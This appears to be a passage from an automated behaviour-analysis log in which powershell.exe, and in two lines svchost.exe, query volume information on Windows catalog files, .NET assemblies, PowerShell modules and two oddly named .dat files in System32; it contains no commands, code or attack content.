Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1865.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1151.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\Windows\System32\Z295699.dat VolumeInformation
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\Windows\System32\Z422697.dat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Program Files\WindowsPowerShell\Modules\PSReadline\2.0.0\Microsoft.PowerShell.PSReadline.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.CSharp\v4.0_4.0.0.0__b03f5f7f11d50a3a\Microsoft.CSharp.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1865.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1151.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Program Files\WindowsPowerShell\Modules\PSReadline\2.0.0\Microsoft.PowerShell.PSReadline.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.CSharp\v4.0_4.0.0.0__b03f5f7f11d50a3a\Microsoft.CSharp.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1865.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1151.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Program Files\WindowsPowerShell\Modules\PSReadline\2.0.0\Microsoft.PowerShell.PSReadline.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.CSharp\v4.0_4.0.0.0__b03f5f7f11d50a3a\Microsoft.CSharp.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1865.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1151.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1865.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1151.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
